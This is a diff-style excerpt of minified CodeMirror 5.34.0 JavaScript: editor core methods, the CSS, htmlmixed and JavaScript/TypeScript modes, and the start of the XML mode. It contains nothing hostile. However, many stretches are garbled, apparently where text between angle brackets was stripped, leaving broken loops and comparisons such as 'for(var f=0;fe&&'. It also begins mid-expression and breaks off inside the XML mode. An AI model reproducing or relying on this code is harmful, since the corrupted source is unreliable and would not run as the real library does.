+b[2*m-1]:0)>=a)d=m;else if(b[2*m+1]c?b:0==c?null:b.slice(0,c-1)},getModeAt:function(b){var c=this.doc.mode;return c.innerMode?a.innerMode(c,this.getTokenAt(b).state).mode:c},getHelper:function(a,b){return this.getHelpers(a,b)[0]},getHelpers:function(a,b){var d=[];if(!c.hasOwnProperty(b))return d;var e=c[b],m=this.getModeAt(a);if("string"==typeof m[b])e[m[b]]&&d.push(e[m[b]]);else if(m[b])for(var f=0;fe&&(a=e,d=!0);a=A(this.doc,a)}return jd(this,a,{top:0,left:0},b||"page",c||d).top+(d?this.doc.height-Ia(a):0)},
+defaultTextHeight:function(){return yb(this.display)},defaultCharWidth:function(){return uc(this.display)},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(a,b,c,l,m){var d=this.display;a=Sa(this,M(this.doc,a));var e=a.bottom,h=a.left;b.style.position="absolute";b.setAttribute("cm-ignore-events","true");this.display.input.setUneditable(b);d.sizer.appendChild(b);if("over"==l)e=a.top;else if("above"==l||"near"==l){var f=Math.max(d.wrapper.clientHeight,
+this.doc.height),n=Math.max(d.sizer.clientWidth,d.lineSpace.clientWidth);("above"==l||a.bottom+b.offsetHeight>f)&&a.top>b.offsetHeight?e=a.top-b.offsetHeight:a.bottom+b.offsetHeight<=f&&(e=a.bottom);h+b.offsetWidth>n&&(h=n-b.offsetWidth)}b.style.top=e+"px";b.style.left=b.style.right="";"right"==m?(h=d.sizer.clientWidth-b.offsetWidth,b.style.right="0px"):("left"==m?h=0:"middle"==m&&(h=(d.sizer.clientWidth-b.offsetWidth)/2),b.style.left=h+"px");c&&(a=ae(this,{left:h,top:e,right:h+b.offsetWidth,bottom:e+
+b.offsetHeight}),null!=a.scrollTop&&zc(this,a.scrollTop),null!=a.scrollLeft&&Cb(this,a.scrollLeft))},triggerOnKeyDown:xa(Tf),triggerOnKeyPress:xa(Vf),triggerOnKeyUp:Uf,triggerOnMouseDown:xa(Wf),execCommand:function(a){if(Kc.hasOwnProperty(a))return Kc[a].call(null,this)},triggerElectric:xa(function(a){cg(this,a)}),findPosH:function(a,b,c,l){var d=1;0>b&&(d=-1,b=-b);a=M(this.doc,a);for(var e=0;ea?d.from():d.to()},Tc)}),deleteH:xa(function(a,b){var c=this.doc;this.doc.sel.somethingSelected()?c.replaceSelection("",null,"+delete"):dc(this,function(d){var e=we(c,d.head,a,b,!1);return 0>a?{from:e,to:d.head}:{from:d.head,to:e}})}),findPosV:function(a,b,c,l){var d=1;0>b&&(d=-1,b=-b);var e=M(this.doc,a);for(a=0;aa?h.from():h.to();var l=Sa(c,h.head,"div");null!=h.goalColumn&&(l.left=h.goalColumn);e.push(l.left);var f=hg(c,l,a,b);"page"==b&&h==d.sel.primary()&&md(c,Rd(c,f,"div").top-l.top);return f},Tc);if(e.length)for(var f=0;fH(nh,Xc)&&(ia.prototype[Xc]=function(a){return function(){return a.apply(this.doc,arguments)}}(Ca.prototype[Xc]));
+Fa(Ca);ia.inputStyles={textarea:oa,contenteditable:da};ia.defineMode=function(a){ia.defaults.mode||"null"==a||(ia.defaults.mode=a);Gd.apply(this,arguments)};ia.defineMIME=function(a,b){Ob[a]=b};ia.defineMode("null",function(){return{token:function(a){return a.skipToEnd()}}});ia.defineMIME("text/plain","null");ia.defineExtension=function(a,b){ia.prototype[a]=b};ia.defineDocExtension=function(a,b){Ca.prototype[a]=b};ia.fromTextArea=function(a,b){function c(){a.value=m.getValue()}b=b?y(b):{};b.value=
+a.value;!b.tabindex&&a.tabIndex&&(b.tabindex=a.tabIndex);!b.placeholder&&a.placeholder&&(b.placeholder=a.placeholder);if(null==b.autofocus){var d=D();b.autofocus=d==a||null!=a.getAttribute("autofocus")&&d==document.body}if(a.form&&(L(a.form,"submit",c),!b.leaveSubmitMethodAlone)){var e=a.form;var h=e.submit;try{var l=e.submit=function(){c();e.submit=h;e.submit();e.submit=l}}catch(r){}}b.finishInit=function(b){b.save=c;b.getTextArea=function(){return a};b.toTextArea=function(){b.toTextArea=isNaN;c();
+a.parentNode.removeChild(b.getWrapperElement());a.style.display="";a.form&&(ja(a.form,"submit",c),"function"==typeof a.form.submit&&(a.form.submit=h))}};a.style.display="none";var m=ia(function(b){return a.parentNode.insertBefore(b,a.nextSibling)},b);return m};(function(a){a.off=ja;a.on=L;a.wheelEventPixels=Dg;a.Doc=Ca;a.splitLines=ve;a.countColumn=k;a.findColumn=U;a.isWordChar=O;a.Pass=yd;a.signal=ca;a.Line=Xb;a.changeEnd=nb;a.scrollbarModel=cf;a.Pos=z;a.cmpPos=K;a.modes=Hd;a.mimeModes=Ob;a.resolveMode=
+jb;a.getMode=nc;a.modeExtensions=Pb;a.extendMode=cd;a.copyState=db;a.startState=eb;a.innerMode=Qb;a.commands=Kc;a.keyMap=Jc;a.keyName=Of;a.isModifierKey=Lf;a.lookupKey=cc;a.normalizeKeyMap=Pg;a.StringStream=la;a.SharedTextMarker=Ic;a.TextMarker=ob;a.LineWidget=Hc;a.e_preventDefault=qa;a.e_stopPropagation=ad;a.e_stop=sb;a.addClass=J;a.contains=v;a.rmClass=Bb;a.keyNames=pb})(ia);ia.version="5.34.0";return ia});
+(function(q){"object"==typeof exports&&"object"==typeof module?q(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],q):q(CodeMirror)})(function(q){function I(f){for(var k={},g=0;g*\/]/.test(p)?g(null,"select-op"):"."==p&&f.match(/^-?[_a-z][_a-z0-9-]*/i)?g("qualifier","qualifier"):/[:;{}\[\]\(\)]/.test(p)?g(null,p):("u"==p||"U"==p)&&f.match(/rl(-prefix)?\(/i)||("d"==p||"D"==p)&&f.match("omain(",!0,!0)||("r"==p||"R"==p)&&f.match("egexp(",!0,!0)?(f.backUp(1),k.tokenize=v,g("property","word")):/[\w\\\-]/.test(p)?(f.eatWhile(/[\w\\\-]/),
+g("property","word")):g(null,null)}function x(f){return function(k,p){for(var E=!1,x;null!=(x=k.next());){if(x==f&&!E){")"==f&&k.backUp(1);break}E=!E&&"\\"==x}if(x==f||!E&&")"!=f)p.tokenize=null;return g("string","string")}}function v(f,k){f.next();f.match(/\s*["')]/,!1)?k.tokenize=null:k.tokenize=x(")");return g(null,"(")}function t(f,k,g){this.type=f;this.indent=k;this.prev=g}function S(f,k,g,p){f.context=new t(g,k.indentation()+(!1===p?0:aa),f.context);return g}function y(f){f.context.prev&&(f.context=
+f.context.prev);return f.context.type}function F(f,k,g,p){for(p=p||1;0\s\/]/.test(v.current())&&(p=g.htmlState.tagName&&g.htmlState.tagName.toLowerCase())&&k.hasOwnProperty(p))g.inTag=p+" ";else if(g.inTag&&f&&/>$/.test(v.current())){f=/^([\S]+) (.*)/.exec(g.inTag);g.inTag=null;p=">"==v.current()&&w(k[f[1]],f[2]);p=q.getMode(D,p);var t=new RegExp("^","i"),F=new RegExp("","i");g.token=function(f,k){if(f.match(t,
+!1))return k.token=J,k.localState=k.localMode=null;var g=k.localMode.token(f,k.localState),p=f.current(),x=p.search(F);-1"))return t("=>","operator");if("0"==m&&f.eat(/x/i))return f.eatWhile(/[\da-f]/i),t("number","number");if("0"==m&&f.eat(/o/i))return f.eatWhile(/[0-7]/i),t("number","number");if("0"==m&&f.eat(/b/i))return f.eatWhile(/[01]/i),t("number","number");if(/\d/.test(m))return f.match(/^\d*(?:\.\d*)?(?:[eE][+\-]?\d+)?/),t("number","number");if("/"==m){if(f.eat("*"))return k.tokenize=D,D(f,k);if(f.eat("/"))return f.skipToEnd(),t("comment","comment");if(Qb(f,k,1)){a:{m=!1;for(var g,u=!1;null!=
+(g=f.next());){if(!m){if("/"==g&&!u)break a;"["==g?u=!0:u&&"]"==g&&(u=!1)}m=!m&&"\\"==g}}f.match(/^\b(([gimyu])(?![gimyu]*\2))+\b/);return t("regexp","string-2")}f.eat("=");return t("operator","operator",f.current())}if("`"==m)return k.tokenize=J,J(f,k);if("#"==m)return f.skipToEnd(),t("error","error");if(pc.test(m))return">"==m&&k.lexical&&">"==k.lexical.type||(f.eat("=")?"!"!=m&&"="!=m||f.eat("="):/[<>*+\-]/.test(m)&&(f.eat(m),">"==m&&f.eat(m))),t("operator","operator",f.current());if(Sb.test(m)){f.eatWhile(Sb);
+m=f.current();if("."!=k.lastType){if(Tb.propertyIsEnumerable(m))return g=Tb[m],t(g.type,g.style,m);if("async"==m&&f.match(/^(\s|\/\*.*?\*\/)*[\(\w]/,!1))return t("async","keyword",m)}return t("variable","variable",m)}}function v(f){return function(m,k){var g=!1,u;if(ub&&"@"==m.peek()&&m.match(dd))return k.tokenize=w,t("jsonld-keyword","meta");for(;null!=(u=m.next())&&(u!=f||g);)g=!g&&"\\"==u;g||(k.tokenize=w);return t("string","string")}}function D(f,k){for(var m=!1,g;g=f.next();){if("/"==g&&m){k.tokenize=
+w;break}m="*"==g}return t("comment","comment")}function J(f,k){for(var m=!1,g;null!=(g=f.next());){if(!m&&("`"==g||"$"==g&&f.eat("{"))){k.tokenize=w;break}m=!m&&"\\"==g}return t("quasi","string-2",f.current())}function P(f,k){k.fatArrowAt&&(k.fatArrowAt=null);var m=f.string.indexOf("=>",f.start);if(!(0>m)){if(ha){var g=/:\s*(?:\w+(?:<[^>]*>|\[\])?|\{[^}]*\})\s*$/.exec(f.string.slice(f.start,m));g&&(m=g.index)}g=0;var u=!1;for(--m;0<=m;--m){var p=f.string.charAt(m),x="([{}])".indexOf(p);if(0<=x&&3>
+x){if(!g){++m;break}if(0==--g){"("==p&&(u=!0);break}}else if(3<=x&&6>x)++g;else if(Sb.test(p))u=!0;else{if(/["'\/]/.test(p))return;if(u&&!g){++m;break}}}u&&!g&&(k.fatArrowAt=m)}}function W(f,k,g,p,x,q){this.indented=f;this.column=k;this.type=g;this.prev=x;this.info=q;null!=p&&(this.align=p)}function y(){for(var f=arguments.length-1;0<=f;f--)B.cc.push(arguments[f])}function k(){y.apply(null,arguments);return!0}function H(f){function m(m){for(;m;m=m.next)if(m.name==f)return!0;return!1}var k=B.state;
+B.marked="def";k.context?m(k.localVars)||(k.localVars={name:f,next:k.localVars}):!m(k.globalVars)&&C.globalVars&&(k.globalVars={name:f,next:k.globalVars})}function U(f){return"public"==f||"private"==f||"protected"==f||"abstract"==f||"readonly"==f}function F(){B.state.context={prev:B.state.context,vars:B.state.localVars};B.state.localVars=fd}function g(){B.state.localVars=B.state.context.vars;B.state.context=B.state.context.prev}function x(f,k){var m=function(){var m=B.state,g=m.indented;if("stat"==
+m.lexical.type)g=m.lexical.indented;else for(var u=m.lexical;u&&")"==u.type&&u.align;u=u.prev)g=u.indented;m.lexical=new W(g,B.stream.column(),f,null,m.lexical,k)};m.lex=!0;return m}function f(){var f=B.state;f.lexical.prev&&(")"==f.lexical.type&&(f.indented=f.lexical.indented),f.lexical=f.lexical.prev)}function p(f){function m(g){return g==f?k():";"==f?y():k(m)}return m}function aa(m,u){return"var"==m?k(x("vardef",u.length),Da,p(";"),f):"keyword a"==m?k(x("form"),Ma,aa,f):"keyword b"==m?k(x("form"),
+aa,f):"keyword d"==m?B.stream.match(/^\s*$/,!1)?k():k(x("stat"),ab,p(";"),f):"debugger"==m?k(p(";")):"{"==m?k(x("}"),M,f):";"==m?k():"if"==m?("else"==B.state.lexical.info&&B.state.cc[B.state.cc.length-1]==f&&B.state.cc.pop()(),k(x("form"),Ma,aa,f,Ia)):"function"==m?k(ja):"for"==m?k(x("form"),Mb,aa,f):"class"==m||ha&&"interface"==u?(B.marked="keyword",k(x("form"),mc,f)):"variable"==m?ha&&"declare"==u?(B.marked="keyword",k(aa)):ha&&("module"==u||"enum"==u||"type"==u)&&B.stream.match(/^\s*\w/,!1)?(B.marked=
+"keyword","enum"==u?k(cd):"type"==u?k(X,p("operator"),X,p(";")):k(x("form"),Aa,p("{"),x("}"),M,f,f)):ha&&"namespace"==u?(B.marked="keyword",k(x("form"),O,M,f)):k(x("stat"),hc):"switch"==m?k(x("form"),Ma,p("{"),x("}","switch"),M,f,f):"case"==m?k(O,p(":")):"default"==m?k(p(":")):"catch"==m?k(x("form"),F,p("("),ca,p(")"),aa,f,g):"export"==m?k(x("stat"),ad,f):"import"==m?k(x("stat"),sb,f):"async"==m?k(aa):"@"==u?k(O,aa):y(x("stat"),O,p(";"),f)}function O(f,k){return ea(f,k,!1)}function Q(f,k){return ea(f,
+k,!0)}function Ma(m){return"("!=m?y():k(x(")"),O,p(")"),f)}function ea(m,u,q){if(B.state.fatArrowAt==B.stream.start){var v=q?Y:Jb;if("("==m)return k(F,x(")"),pa(ca,")"),f,p("=>"),v,g);if("variable"==m)return y(F,Aa,p("=>"),v,g)}v=q?za:ma;return Id.hasOwnProperty(m)?k(v):"function"==m?k(ja,v):"class"==m||ha&&"interface"==u?(B.marked="keyword",k(x("form"),ka,f)):"keyword c"==m||"async"==m?k(q?Q:O):"("==m?k(x(")"),ab,p(")"),f,v):"operator"==m||"spread"==m?k(q?Q:O):"["==m?k(x("]"),nc,f,v):"{"==m?Va(K,
+"}",null,v):"quasi"==m?y(A,v):"new"==m?k(T(q)):k()}function ab(f){return f.match(/[;\}\)\],]/)?y():y(O)}function ma(f,g){return","==f?k(O):za(f,g,!1)}function za(m,u,q){var v=0==q?ma:za,t=0==q?O:Q;if("=>"==m)return k(F,q?Y:Jb,g);if("operator"==m)return/\+\+|--/.test(u)||ha&&"!"==u?k(v):ha&&"<"==u&&B.stream.match(/^([^>]|<.*?>)*>\s*\(/,!1)?k(x(">"),pa(X,">"),f,v):"?"==u?k(O,p(":"),t):k(t);if("quasi"==m)return y(A,v);if(";"!=m){if("("==m)return Va(Q,")","call",v);if("."==m)return k(z,v);if("["==m)return k(x("]"),
+ab,p("]"),f,v);if(ha&&"as"==u)return B.marked="keyword",k(X,v);if("regexp"==m)return B.state.lastType=B.marked="operator",B.stream.backUp(B.stream.pos-B.stream.start-1),k(t)}}function A(f,g){return"quasi"!=f?y():"${"!=g.slice(g.length-2)?k(A):k(O,S)}function S(f){if("}"==f)return B.marked="string-2",B.state.tokenize=J,k(A)}function Jb(f){P(B.stream,B.state);return y("{"==f?aa:O)}function Y(f){P(B.stream,B.state);return y("{"==f?aa:Q)}function T(f){return function(m){return"."==m?k(f?qb:bb):"variable"==
+m&&ha?k(E,f?za:ma):y(f?Q:O)}}function bb(f,g){if("target"==g)return B.marked="keyword",k(ma)}function qb(f,g){if("target"==g)return B.marked="keyword",k(za)}function hc(m){return":"==m?k(f,aa):y(ma,p(";"),f)}function z(f){if("variable"==f)return B.marked="property",k()}function K(f,g){if("async"==f)return B.marked="property",k(K);if("variable"==f||"keyword"==B.style){B.marked="property";if("get"==g||"set"==g)return k(ic);var m;ha&&B.state.fatArrowAt==B.stream.start&&(m=B.stream.match(/^\s*:\s*/,!1))&&
+(B.state.fatArrowAt=B.stream.pos+m[0].length);return k(Oa)}if("number"==f||"string"==f)return B.marked=ub?"property":B.style+" property",k(Oa);if("jsonld-keyword"==f)return k(Oa);if(ha&&U(g))return B.marked="keyword",k(K);if("["==f)return k(O,cb,p("]"),Oa);if("spread"==f)return k(Q,Oa);if("*"==g)return B.marked="keyword",k(K);if(":"==f)return y(Oa)}function ic(f){if("variable"!=f)return y(Oa);B.marked="property";return k(ja)}function Oa(f){if(":"==f)return k(Q);if("("==f)return y(ja)}function pa(f,
+g,x){function m(u,q){if(x?-1"==f)return k(X)}function Pa(f,g){if("variable"==f||"keyword"==B.style)return B.marked="property",k(Pa);if("?"==
+g)return k(Pa);if(":"==f)return k(X);if("["==f)return k(O,cb,p("]"),Pa)}function Z(f){if("variable"==f)return k(Z);if(":"==f)return k(X)}function na(m,g){if("<"==g)return k(x(">"),pa(X,">"),f,na);if("|"==g||"."==m)return k(X);if("["==m)return k(p("]"),na);if("extends"==g||"implements"==g)return B.marked="keyword",k(X)}function E(m,g){if("<"==g)return k(x(">"),pa(X,">"),f,na)}function Wa(){return y(X,N)}function N(f,g){if("="==g)return k(X)}function Da(f,g){return"enum"==g?(B.marked="keyword",k(cd)):
+y(Aa,cb,Ea,jc)}function Aa(f,g){if(ha&&U(g))return B.marked="keyword",k(Aa);if("variable"==f)return H(g),k();if("spread"==f)return k(Aa);if("["==f)return Va(Aa,"]");if("{"==f)return Va(Zc,"}")}function Zc(f,g){if("variable"==f&&!B.stream.match(/^\s*:/,!1))return H(g),k(Ea);"variable"==f&&(B.marked="property");return"spread"==f?k(Aa):"}"==f?y():k(p(":"),Aa,Ea)}function Ea(f,g){if("="==g)return k(Q)}function jc(f){if(","==f)return k(Da)}function Ia(m,g){if("keyword b"==m&&"else"==g)return k(x("form",
+"else"),aa,f)}function Mb(m){if("("==m)return k(x(")"),kc,p(")"),f)}function kc(f){return"var"==f?k(Da,p(";"),Xa):";"==f?k(Xa):"variable"==f?k(Ed):y(O,p(";"),Xa)}function Ed(f,g){return"in"==g||"of"==g?(B.marked="keyword",k(O)):k(ma,Xa)}function Xa(f,g){return";"==f?k(Na):"in"==g||"of"==g?(B.marked="keyword",k(O)):y(O,p(";"),Na)}function Na(f){")"!=f&&k(O)}function ja(m,p){if("*"==p)return B.marked="keyword",k(ja);if("variable"==m)return H(p),k(ja);if("("==m)return k(F,x(")"),pa(ca,")"),f,Kb,aa,g);
+if(ha&&"<"==p)return k(x(">"),pa(Wa,">"),f,ja)}function ca(f,g){"@"==g&&k(O,ca);return"spread"==f?k(ca):ha&&U(g)?(B.marked="keyword",k(ca)):y(Aa,cb,Ea)}function ka(f,g){return"variable"==f?mc(f,g):wa(f,g)}function mc(f,g){if("variable"==f)return H(g),k(wa)}function wa(g,p){if("<"==p)return k(x(">"),pa(Wa,">"),f,wa);if("extends"==p||"implements"==p||ha&&","==g)return"implements"==p&&(B.marked="keyword"),k(ha?X:O,wa);if("{"==g)return k(x("}"),Fa,f)}function Fa(f,g){if("async"==f||"variable"==f&&("static"==
+g||"get"==g||"set"==g||ha&&U(g))&&B.stream.match(/^\s+[\w$\xa1-\uffff]/,!1))return B.marked="keyword",k(Fa);if("variable"==f||"keyword"==B.style)return B.marked="property",k(ha?qa:ja,Fa);if("["==f)return k(O,cb,p("]"),ha?qa:ja,Fa);if("*"==g)return B.marked="keyword",k(Fa);if(";"==f)return k(Fa);if("}"==f)return k();if("@"==g)return k(O,Fa)}function qa(f,g){return"?"==g?k(qa):":"==f?k(X,Ea):"="==g?k(Q):y(ja)}function ad(f,g){return"*"==g?(B.marked="keyword",k(jb,p(";"))):"default"==g?(B.marked="keyword",
+k(O,p(";"))):"{"==f?k(pa(Nb,"}"),jb,p(";")):y(aa)}function Nb(f,g){if("as"==g)return B.marked="keyword",k(p("variable"));if("variable"==f)return y(Q,Nb)}function sb(f){return"string"==f?k():y(tb,bd,jb)}function tb(f,g){if("{"==f)return Va(tb,"}");"variable"==f&&H(g);"*"==g&&(B.marked="keyword");return k(Gd)}function bd(f){if(","==f)return k(tb,bd)}function Gd(f,g){if("as"==g)return B.marked="keyword",k(tb)}function jb(f,g){if("from"==g)return B.marked="keyword",k(O)}function nc(f){return"]"==f?k():
+y(pa(Q,"]"))}function cd(){return y(x("form"),Aa,p("{"),x("}"),pa(db,"}"),f,f)}function db(){return y(Aa,Ea)}function Qb(f,g,k){return g.tokenize==w&&/^(?:operator|sof|keyword [bcd]|case|new|export|default|spread|[\[{}\(,;:]|=>)$/.test(g.lastType)||"quasi"==g.lastType&&/\{\s*$/.test(f.string.slice(0,f.pos-(k||0)))}var eb=I.indentUnit,oc=C.statementIndent,ub=C.jsonld,Ja=C.json||ub,ha=C.typescript,Sb=C.wordCharacters||/[\w$\xa1-\uffff]/,Tb=function(){function f(f){return{type:f,style:"keyword"}}var g=
+f("keyword a"),k=f("keyword b"),p=f("keyword c"),x=f("keyword d"),q=f("operator"),v={type:"atom",style:"atom"};return{"if":f("if"),"while":g,"with":g,"else":k,"do":k,"try":k,"finally":k,"return":x,"break":x,"continue":x,"new":f("new"),"delete":p,"void":p,"throw":p,"debugger":f("debugger"),"var":f("var"),"const":f("var"),let:f("var"),"function":f("function"),"catch":f("catch"),"for":f("for"),"switch":f("switch"),"case":f("case"),"default":f("default"),"in":q,"typeof":q,"instanceof":q,"true":v,"false":v,
+"null":v,undefined:v,NaN:v,Infinity:v,"this":f("this"),"class":f("class"),"super":f("atom"),yield:p,"export":f("export"),"import":f("import"),"extends":p,await:p}}(),pc=/[+\-*&%=<>!?|~^@]/,dd=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/,kb,Rb,Id={atom:!0,number:!0,variable:!0,string:!0,regexp:!0,"this":!0,"jsonld-keyword":!0},B={state:null,column:null,marked:null,cc:null},fd={name:"this",next:{name:"arguments"}};f.lex=!0;return{startState:function(f){f={tokenize:w,
+lastType:"sof",cc:[],lexical:new W((f||0)-eb,0,"block",!1),localVars:C.localVars,context:C.localVars&&{vars:C.localVars},indented:f||0};C.globalVars&&"object"==typeof C.globalVars&&(f.globalVars=C.globalVars);return f},token:function(f,g){f.sol()&&(g.lexical.hasOwnProperty("align")||(g.lexical.align=!1),g.indented=f.indentation(),P(f,g));if(g.tokenize!=D&&f.eatSpace())return null;var k=g.tokenize(f,g);if("comment"==kb)return k;g.lastType="operator"!=kb||"++"!=Rb&&"--"!=Rb?kb:"incdec";a:{var m=kb,
+p=Rb,u=g.cc;B.state=g;B.stream=f;B.marked=null;B.cc=u;B.style=k;g.lexical.hasOwnProperty("align")||(g.lexical.align=!0);for(;;)if((u.length?u.pop():Ja?O:aa)(m,p)){for(;u.length&&u[u.length-1].lex;)u.pop()();if(B.marked){k=B.marked;break a}if(m="variable"==m)b:{for(m=g.localVars;m;m=m.next)if(m.name==p){m=!0;break b}for(u=g.context;u;u=u.prev)for(m=u.vars;m;m=m.next)if(m.name==p){m=!0;break b}m=void 0}if(m){k="variable-2";break a}break a}}return k},indent:function(g,k){if(g.tokenize==D)return q.Pass;
+if(g.tokenize!=w)return 0;var m=k&&k.charAt(0),p=g.lexical,u;if(!/^\s*else\b/.test(k))for(var x=g.cc.length-1;0<=x;--x){var v=g.cc[x];if(v==f)p=p.prev;else if(v!=Ia)break}for(;!("stat"!=p.type&&"form"!=p.type||"}"!=m&&(!(u=g.cc[g.cc.length-1])||u!=ma&&u!=za||/^[,\.=+\-*:?[\(]/.test(k)));)p=p.prev;oc&&")"==p.type&&"stat"==p.prev.type&&(p=p.prev);u=p.type;x=m==u;return"vardef"==u?p.indented+("operator"==g.lastType||","==g.lastType?p.info+1:0):"form"==u&&"{"==m?p.indented:"form"==u?p.indented+eb:"stat"==
+u?(m=p.indented,p="operator"==g.lastType||","==g.lastType||pc.test(k.charAt(0))||/[,.]/.test(k.charAt(0)),m+(p?oc||eb:0)):"switch"!=p.info||x||0==C.doubleIndentSwitch?p.align?p.column+(x?0:1):p.indented+(x?0:eb):p.indented+(/^(?:case|default)\b/.test(k)?eb:2*eb)},electricInput:/^\s*(?:case .*?:|default:|\{|\})$/,blockCommentStart:Ja?null:"/*",blockCommentEnd:Ja?null:"*/",blockCommentContinue:Ja?null:" * ",lineComment:Ja?null:"//",fold:"brace",closeBrackets:"()[]{}''\"\"``",helperType:Ja?"json":"javascript",
+jsonldMode:ub,jsonMode:Ja,expressionAllowed:Qb,skipExpression:function(f){var g=f.cc[f.cc.length-1];g!=O&&g!=Q||f.cc.pop()}}});q.registerHelper("wordChars","javascript",/[\w$]/);q.defineMIME("text/javascript","javascript");q.defineMIME("text/ecmascript","javascript");q.defineMIME("application/javascript","javascript");q.defineMIME("application/x-javascript","javascript");q.defineMIME("application/ecmascript","javascript");q.defineMIME("application/json",{name:"javascript",json:!0});q.defineMIME("application/x-json",
+{name:"javascript",json:!0});q.defineMIME("application/ld+json",{name:"javascript",jsonld:!0});q.defineMIME("text/typescript",{name:"javascript",typescript:!0});q.defineMIME("application/typescript",{name:"javascript",typescript:!0})});
+(function(q){"object"==typeof exports&&"object"==typeof module?q(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],q):q(CodeMirror)})(function(q){var I={autoSelfClosers:{area:!0,base:!0,br:!0,col:!0,command:!0,embed:!0,frame:!0,hr:!0,img:!0,path:!0,use:!0,source:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0,menuitem:!0},implicitlyClosed:{dd:!0,li:!0,optgroup:!0,option:!0,p:!0,rp:!0,rt:!0,tbody:!0,td:!0,tfoot:!0,th:!0,tr:!0},contextGrabbers:{dd:{dd:!0,
+dt:!0},dt:{dd:!0,dt:!0},li:{li:!0},option:{option:!0,optgroup:!0},optgroup:{optgroup:!0},p:{address:!0,article:!0,aside:!0,blockquote:!0,dir:!0,div:!0,dl:!0,fieldset:!0,footer:!0,form:!0,h1:!0,h2:!0,h3:!0,h4:!0,h5:!0,h6:!0,header:!0,hgroup:!0,hr:!0,menu:!0,nav:!0,ol:!0,p:!0,pre:!0,section:!0,table:!0,ul:!0},rp:{rp:!0,rt:!0},rt:{rp:!0,rt:!0},tbody:{tbody:!0,tfoot:!0},td:{td:!0,th:!0},tfoot:{tbody:!0},th:{td:!0,th:!0},thead:{tbody:!0,tfoot:!0},tr:{tr:!0}},doNotIndent:{pre:!0},allowUnquoted:!0,allowMissing:!0,
+caseFold:!0},C={autoSelfClosers:{},implicitlyClosed:{},contextGrabbers:{},doNotIndent:{},allowUnquoted:!1,allowMissing:!1,allowMissingTagName:!1,caseFold:!1};q.defineMode("xml",function(t,w){function v(f,g){function k(k){g.tokenize=k;return k(f,g)}var p=f.next();if("<"==p){if(f.eat("!"))return f.eat("[")?f.match("CDATA[")?k(P("atom","]]\x3e")):null:f.match("--")?k(P("comment","--\x3e")):f.match("DOCTYPE",!0,!0)?(f.eatWhile(/[\w\._\-]/),k(W(1))):null;if(f.eat("?"))return f.eatWhile(/[\w\._\-]/),g.tokenize=
+P("meta","?>"),"meta";za=f.eat("/")?"closeTag":"openTag";g.tokenize=D;return"tag bracket"}if("&"==p)return(f.eat("#")?f.eat("x")?f.eatWhile(/[a-fA-F\d]/)&&f.eat(";"):f.eatWhile(/[\d]/)&&f.eat(";"):f.eatWhile(/[\w\.\-:]/)&&f.eat(";"))?"atom":"error";f.eatWhile(/[^&<]/);return null}function D(f,g){var k=f.next();if(">"==k||"/"==k&&f.eat(">"))return g.tokenize=v,za=">"==k?"endTag":"selfcloseTag","tag bracket";if("="==k)return za="equals",null;if("<"==k)return g.tokenize=v,g.state=U,g.tagName=g.tagStart=
+null,(k=g.tokenize(f,g))?k+" tag error":"tag error";if(/['"]/.test(k))return g.tokenize=J(k),g.stringStartCol=f.column(),g.tokenize(f,g);f.match(/^[^\s\u00a0=<>"']*[^\s\u00a0=<>"'\/]/);return"word"}function J(f){var g=function(g,k){for(;!g.eol();)if(g.next()==f){k.tokenize=D;break}return"string"};g.isInAttribute=!0;return g}function P(f,g){return function(k,p){for(;!k.eol();){if(k.match(g)){p.tokenize=v;break}k.next()}return f}}function W(f){return function(g,k){for(var p;null!=(p=g.next());){if("<"==
+p)return k.tokenize=W(f+1),k.tokenize(g,k);if(">"==p)if(1==f){k.tokenize=v;break}else return k.tokenize=W(f-1),k.tokenize(g,k)}return"meta"}}function y(f,g,k){this.prev=f.context;this.tagName=g;this.indent=f.indented;this.startOfLine=k;if(ea.doNotIndent.hasOwnProperty(g)||f.context&&f.context.noIndent)this.noIndent=!0}function k(f){f.context&&(f.context=f.context.prev)}function H(f,g){for(var p;f.context;){p=f.context.tagName;if(!ea.contextGrabbers.hasOwnProperty(p)||!ea.contextGrabbers[p].hasOwnProperty(g))break;
+k(f)}}function U(f,k,p){return"openTag"==f?(p.tagStart=k.column(),F):"closeTag"==f?g:U}function F(f,g,k){if("word"==f)return k.tagName=g.current(),A="tag",p;if(ea.allowMissingTagName&&"endTag"==f)return A="tag bracket",p(f,g,k);A="error";return F}function g(g,p,q){if("word"==g){g=p.current();q.context&&q.context.tagName!=g&&ea.implicitlyClosed.hasOwnProperty(q.context.tagName)&&k(q);if(q.context&&q.context.tagName==g||!1===ea.matchClosing)return A="tag",x;A="tag error";return f}if(ea.allowMissingTagName&&
+"endTag"==g)return A="tag bracket",x(g,p,q);A="error";return f}function x(f,g,p){if("endTag"!=f)return A="error",x;k(p);return U}function f(f,g,k){A="error";return x(f,g,k)}function p(f,g,k){if("word"==f)return A="attribute",aa;if("endTag"==f||"selfcloseTag"==f){g=k.tagName;var x=k.tagStart;k.tagName=k.tagStart=null;"selfcloseTag"==f||ea.autoSelfClosers.hasOwnProperty(g)?H(k,g):(H(k,g),k.context=new y(k,g,x==k.indented));return U}A="error";return p}function aa(f,g,k){if("equals"==f)return O;ea.allowMissing||
+(A="error");return p(f,g,k)}function O(f,g,k){if("string"==f)return Q;if("word"==f&&ea.allowUnquoted)return A="string",p;A="error";return p(f,g,k)}function Q(f,g,k){return"string"==f?Q:p(f,g,k)}var Ma=t.indentUnit,ea={},ab=w.htmlMode?I:C,ma;for(ma in ab)ea[ma]=ab[ma];for(ma in w)ea[ma]=w[ma];var za,A;v.isInText=!0;return{startState:function(f){var g={tokenize:v,state:U,indented:f||0,tagName:null,tagStart:null,context:null};null!=f&&(g.baseIndent=f);return g},token:function(f,g){!g.tagName&&f.sol()&&
